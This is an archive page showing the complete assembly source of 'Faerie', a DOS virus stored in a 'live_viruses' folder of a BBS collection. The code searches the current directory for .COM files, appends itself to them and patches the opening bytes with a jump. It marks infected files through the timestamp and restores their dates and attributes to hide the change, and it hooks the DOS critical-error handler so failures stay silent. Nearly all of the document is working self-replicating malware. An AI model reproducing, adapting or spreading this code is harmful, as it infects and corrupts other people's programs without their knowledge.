home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / faerie10.asm < prev    next >
Assembly Source File  |  1994-03-09  |  7KB  |  171 lines

  1. .model tiny
  2. .code
  3. cseg    segment
  4.         assume  cs:cseg,ds:cseg,es:cseg,ss:cseg
  5.         org     100h
  6. begin:
  7. dummy_host      db      0e9h,00h,00h
  8. sra_start:
  9.         mov     bp,0000h        ;delta offset
  10. ;----------------------------------------------------------------------
  11. ; Restore host file
  12. ;----------------------------------------------------------------------
  13.         lea     si,[bp+old_bytes]       ;Restore overwritten bytes
  14.         mov     di,0100h
  15.         movsw
  16.         movsb
  17. ;----------------------------------------------------------------------
  18. ; Change DTA
  19. ;----------------------------------------------------------------------
  20.         lea     dx,[bp+new_dta]         ;Set DTA to heap
  21.         mov     ah,1Ah
  22.         int     21h
  23. ;----------------------------------------------------------------------
  24. ;  Locate a suitable COM file in current directory
  25. ;----------------------------------------------------------------------
  26.         lea     dx,[bp+com_mask]
  27.         mov     cx,0002h                ;hidden/normal attribute
  28.         mov     ah,4eh                  ;find first file
  29. find_next:
  30.         int     21h
  31.         jnc     check_file
  32.         jmp     bye_bye                 ;no suitable file found
  33.         ;--------------------------------------------------------------
  34. check_file:
  35.         mov     ax,word ptr [bp+file_time]
  36.         and     al,00011111b            ;mask seconds field
  37.         cmp     al,00010101b            ;check for previous infection
  38.         je      try_again
  39.         ;--------------------------------------------------------------
  40.         mov     ax,word ptr [bp+file_size]
  41.         cmp     ax,(heap-sra_start)   ;check if too small
  42.         jb      try_again
  43.         ;--------------------------------------------------------------
  44.         cmp     ax,65535-(heap_end-sra_start) ;too large?
  45.         ja      try_again
  46.         ;--------------------------------------------------------------
  47.         mov     cx,0004h                ;check if COMMAND.COM
  48.         lea     si,[bp+file_name]
  49.         lea     di,[bp+command_com]
  50.         repe
  51.         cmpsw
  52.         jnz     replicate               ;suitable host has been found
  53.         ;--------------------------------------------------------------
  54. try_again:
  55.         mov     ah,4fh
  56.         jmp     short find_next
  57. ;----------------------------------------------------------------------
  58. ; A suitable host has been found, proceed with replication
  59. ;----------------------------------------------------------------------
  60. replicate:
  61.         mov     ax,3524h                ;Get int 24 handler
  62.         int     21h
  63.         mov     word ptr [bp+old_24_off],bx
  64.         mov     word ptr [bp+old_24_seg],es
  65.         mov     ah,25h                  ;Set new int 24 handler
  66.         lea     dx,[bp+offset int24]
  67.         int     21h
  68.         push    cs                      ;Restore ES
  69.         pop     es
  70.         ;--------------------------------------------------------------
  71.         lea     dx,[bp+file_name]
  72.         xor     cx,cx                   ;normal attributes
  73.         mov     ax,4301h                ;set attributes
  74.         int     21h
  75.         ;--------------------------------------------------------------
  76.         lea     dx,[bp+file_name]       ;open file
  77.         mov     ax,3d02h                ;read/write access
  78.         int     21h
  79.         mov     bx,ax                   ;put handle in BX
  80.         ;--------------------------------------------------------------
  81.         lea     dx,[bp+old_bytes]
  82.         mov     cx,03h                  ;read three bytes
  83.         mov     ah,3fh
  84.         int     21h
  85.         ;--------------------------------------------------------------
  86.         xor     dx,dx
  87.         xor     cx,cx
  88.         mov     ax,4202h                ;move file pointer EOF
  89.         int     21h
  90.         ;--------------------------------------------------------------
  91.         sub     ax,03h
  92.         mov     word ptr [bp+sra_start+1],ax
  93.         mov     word ptr [bp+new_bytes+1],ax
  94.         ;--------------------------------------------------------------
  95.         lea     dx,[bp+sra_start]
  96.         mov     cx,heap-sra_start
  97.         mov     ah,40h
  98.         int     21h
  99.         ;--------------------------------------------------------------
  100.         xor     dx,dx
  101.         xor     cx,cx
  102.         mov     ax,4200h                ;move file pointer SOF
  103.         int     21h
  104.         ;--------------------------------------------------------------
  105.         lea     dx,[bp+new_bytes]
  106.         mov     cx,03h
  107.         mov     ah,40h
  108.         int     21h
  109.         ;--------------------------------------------------------------
  110.         mov     dx,word ptr [bp+file_date]
  111.         mov     cx,word ptr [bp+file_time]
  112.         and     cl,11100000b
  113.         or      cl,00010101b
  114.         mov     ax,5701h                ;Restore creation date/time
  115.         int     21h
  116.         ;--------------------------------------------------------------
  117.         mov     ah,3eh                  ;close file
  118.         int     21h
  119.         ;--------------------------------------------------------------
  120.         lea     dx,[bp+file_name]
  121.         xor     cx,cx
  122.         mov     cl,byte ptr [bp+file_attr]
  123.         mov     ax,4301h                ;Restore original attributes
  124.         int     21h
  125. ;----------------------------------------------------------------------
  126. ; Clean up and return control to host in memory
  127. ;----------------------------------------------------------------------
  128. bye_bye:
  129.         mov     ah,1ah                  ; restore DTA to default
  130.         mov     dx,80h                  ; DTA in PSP
  131.         int     21h
  132.         ;--------------------------------------------------------------
  133.         lds     dx,[bp+offset old_24_off]
  134.         mov     ax,2524h                ; Restore int 24 handler
  135.         int     21h
  136.         ;--------------------------------------------------------------
  137.         push    cs
  138.         pop     ds
  139.         mov     ax,0100h
  140.         push    ax
  141.         retn
  142. ;----------------------------------------------------------------------
  143. int24:                                  ; New int 24h (error) handler
  144.         mov     al,3                    ; Fail call
  145.         iret                            ; Return control
  146. ;**********************************************************************
  147. ;* Data Area
  148. ;**********************************************************************
  149. command_com     db      'COMMAND.'
  150. com_mask        db      '*.COM',0
  151. old_bytes       db      0cdh,20h,90h
  152. new_bytes       db      0e9h,00h,00h
  153. vanity          db      'Faerie'
  154. ;**********************************************************************
  155. ;* Heap Area
  156. ;**********************************************************************
  157. heap:
  158. new_dta         db      21 dup(?)
  159. file_attr       db      ?
  160. file_time       dw      ?
  161. file_date       dw      ?
  162. file_size       dd      ?
  163. file_name       db      13 dup(?)
  164. old_attrs       db      5 dup(?)
  165. old_24_off      dw      ?
  166. old_24_seg      dw      ?
  167. heap_end:
  168. ;*E*N*D**O*F**S*R*A****************************************************
  169. cseg    ends
  170.         end     begin
  171.